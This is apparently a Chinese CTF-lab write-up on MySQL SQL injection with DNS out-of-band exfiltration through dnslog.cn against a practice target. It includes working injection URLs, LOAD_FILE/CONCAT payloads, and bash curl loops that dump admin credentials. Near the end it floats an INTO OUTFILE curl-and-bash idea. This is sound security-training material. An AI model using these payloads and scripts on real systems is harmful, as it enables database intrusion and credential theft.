掌控安全 SQL 注入靶场练习 - Dnslog 带外测试
dnslog 带外实现
- 依赖
UNC
, 因此只能在 Windows 下利用 - 利用 DNS 记录不存在时向上查询的工作模式实现带外攻击
- 不支持
load_file('http://host:port/1.txt')
模式, 否则用不着 dns 了。
OOB 带外中心思想
- 将本地数据
select ...
- 通过触发器
load_file( ... )
- 将结果传递到外部(含文件)
xx.dnslog.cn
0x00 先说结论
0x00.1 dnslog
- 结果只会缓存 10 个, 超过 10 个将被轮训掉。
- 两个请求接口, 使用
--cookie PHPSESSID=$md5sha
关联- 获取域名:
http://dnslog.cn/getdomain.php
- 获取结果:
http://dnslog.cn/getrecords.php
- 返回结果是一个
[][]string
的结构, 不能直接被 golang json unmarshal
, 需要额外构造一下[["9ilzri.dnslog.cn","58.217.249.149","2020-12-10 23:50:32"]]
- 有长度限制, 具体多长没探究。
hex()
之后过长, 可能导致无结果。
0x00.2 MySQL NULL
记住一点 NULL
是黑洞,任何与 NULL
组合的结果都是 NULL
。
1
2
3
4
5
6
| mysql> select length(NULL);
-- | NULL |
mysql> select hex(NULL);
-- | NULL |
mysql> select concat(NULL,'.123123');
-- | concat(NULL,'.123123') |
|
0x00.3 MySQL 自查询与函数
不太好总结
concat()
返回的已经是一个字符串了, 因此,不需要在外层再加一次 单引号 。load_file(str)
可以不需要与 select
互用执行。- 使用
select
查询结果, 记得在外层加括号, 构建自查询 (select ...)
- 括号 太多, 注意闭合
0x01 探测注入点
探测是否存在 SQL 注入漏洞。
虽然说肯定有, 但是还是多写一下 UNION
语句。
1
2
3
| http://vulhub.example.com:8022/dns/?id=1%20and%201=2%20union%20select%201,2
## 位置为 2
|
0x02 Web渗透, 从入门到放弃
0x02.1 测试是否可以利用 dnslog 并获取当前库名
首先来构建语句
1
2
3
4
5
6
7
8
| -- dbname
select database();
-- concat
select CONCAT('//', database(), '.719da4.dnslog.cn/1.txt') ;
-- load_file
SELECT LOAD_FILE(CONCAT('//', database(), '.719da4.dnslog.cn/1.txt')) ;
|
执行漏洞利用
1
2
3
| http://vulhub.example.com:8022/dns/?id=1 AND LOAD_FILE(CONCAT('//', database(), '.pewhvo.dnslog.cn/1.txt'))
# maoshe.pewhvo.dnslog.cn
|
0x02.2 误入歧途
为什么这么说呢,因为之前在 封神台 上做了几个 错误注入 和 盲注 的靶场。
重点来了: 错误注入 和 盲注 的靶场 FLAG 都是单独放了一张表的,都叫 xxflag
。
那还不手到擒来, 于是在悲剧开始了 …
构造语句
1
2
3
4
5
6
7
8
| -- 查询有多少 column 包含 flag
select count(*) from information_schema.columns where column_name like '%flag%' ;
-- concat
select concat('//',(select count(*) from information_schema.columns where column_name like '%flag%'),'.w24iu8.dnslog.cn/1.txt') ;
-- load_file
select load_file( concat('//',(select count(*) from information_schema.columns where column_name like '%flag%'),'.w24iu8.dnslog.cn/1.txt') ) ;
|
dnslog oob
1
2
3
| http://vulhub.example.com:8022/dns/?id=1 AND load_file( concat('//',(select count(*) from information_schema.columns where column_name like '%flag%'),'.w24iu8.dnslog.cn/1.txt') )
# 8.w24iu8.dnslog.cn
|
WEB 渗透公共小作坊就开始了。 无数个语句平凑, 无数次失落与心酸。
不知道多久过去了, 反正一个天真的孩子在歧路上越走越远
不行了, 太变态了, 第一节就搞这么复杂。
0x02.3 是不是我想的太复杂了
按照道理说, 第一节不应该这么复杂啊。 要不就在本地库上找找?
0x02.3.1 原始文明到农耕文明
由于靶场没有鉴权, 因此开始使用 shell script
进行半手工操作。
1
2
3
4
5
6
| #!/bin/bash
DNSLOG=".maoshe-admin.xxx.dnslog.cn"
SQL=" SELECT SQL STATEMENT "
curl ${SESSION} -sL "http://vulhub.example.com:8022/dns/?id=1 AND LOAD_FILE(CONCAT('//',( ${SQL} ),'${DNSLOG}/1.txt')) " > /dev/null
|
1. 查询表明
1
2
3
4
| -- 查询 库名与表明
select hex(group_concat(table_name)) from information_schema.tables ;
-- 61646d696e2c6e657773.jnwdsn.dnslog.cn
-- => admin,news
|
2. 查询字段
1
2
3
4
| -- 查询字段命令
select hex(group_concat(column_name)) from information_schema.columns where table_schema='maoshe' and table_name='admin';
-- id,username,password
|
3. 查询账户密码
- 这里同时查询两个字段,这里使用
concat
而不是 group_concat
hex()
16禁止编码可能会操作 dnslog 的长度限制导致无法拿到结果。
1
2
3
4
| -- 查询账户密码
select hex(concat(username,'___',password)) from maoshe.admin limit 1,1 ;
-- => admin123___123admin
-- => test___test123
|
变态啊, 居然还不行 , 这题 刁钻, 太刁钻了
是的,没错。 不知道什么原因,我只执行了 2 次 。 这就是一切 惨案 的源头。
0x02.3.2 蒸汽时代,甩开膀子干
使用 Chrome 开发者工具 分析了一下 DNSLOG 的请求规则。 升级了工具。
- 每次请求申请一个域名是因为受过的伤太多。
- 要
sleep 1
是怕被封。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| #!/bin/bash
#
for i in $(seq 0 33)
do
{
# 生成 dnslog 域名
md5sha=$(date | md5)
SESSION="--cookie PHPSESSID=$md5sha"
DOMAIN=$(curl -s ${SESSION} http://dnslog.cn/getdomain.php )
DNSLOG=".${i}.${DOMAIN}"
SQL=" YOUR SQL STATMENT "
curl ${SESSION} -sL "http://vulhub.example.com:8022/dns/?id=1 AND LOAD_FILE(CONCAT('//',( ${SQL} ),'${DNSLOG}/1.txt')) " > /dev/null
# 获取结果
curl -sL ${SESSION} http://dnslog.cn/getrecords.php | jq '.[0][0]'
sleep 1
}
done
|
不知不觉就开始开始拖库咯。 研究 布尔盲注 的时候,把语句都撸了一遍。
查询 MYSQL 数据库 系统库名、表名、字段名 SQL语句
0x03 事情总归还是要一个结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| #!/bin/bash
#
for i in $(seq 0 33)
do
{
# 生成 dnslog 域名
md5sha=$(date | md5)
SESSION="--cookie PHPSESSID=$md5sha"
DOMAIN=$(curl -s ${SESSION} http://dnslog.cn/getdomain.php )
DNSLOG=".${i}.${DOMAIN}"
# 构造 SQL 语句
SQL=" select hex(concat(username,'___',password)) from maoshe.admin limit ${i},1 "
# 利用
curl ${SESSION} -sL "http://vulhub.example.com:8022/dns/?id=1 AND LOAD_FILE(CONCAT('//',( ${SQL} ),'${DNSLOG}/1.txt')) " > /dev/null
# DNSLOG 获取结果
curl -sL ${SESSION} http://dnslog.cn/getrecords.php | jq '.[0][0]'
sleep 1
}
done
# "61646d696e3132335f5f5f31323361646d696e.0.jcjikx.dnslog.cn"
# "746573745f5f5f74657374313233.1.w4n5xa.dnslog.cn"
# "666c61675f5f5f466c61472d626975626975.2.ugvzim.dnslog.cn"
|
0x04 Linux 的 MySQL 带外探究
因为在 mysql 命令行 能执行以下语句。
select 1=1 ; system ls ;
因此想在 linux 下也测试 OOB 带外。
设想如下
1
2
| select 'curl http://host:port/:dbname/:tablename/1,2,3,4' INTO OUTFILE '/var/lib/mysql-files/1.txt'
system bash /var/lib/mysql-files/1.txt
|
而事实上,由于 JDBC
与 ORM
的存在, 应该不可能实现这种方式带外方式。 而且我都能执行 bash
了, 反弹不更方便 ?
虽然没实现,作为一种尝试和想法也算好的。
当时的顿悟
- 注意 : 连接 mysql 语句的 除了
关键字(AND / OR / UNION)
之外 , 还有 结束符号 分号
;
- 重要思想, 不要有 定势思维误区
0xGG 参考文章
0xGG.1 dnslog.cn golang sdk
捎带手, 搞了一个 golang 的 sdk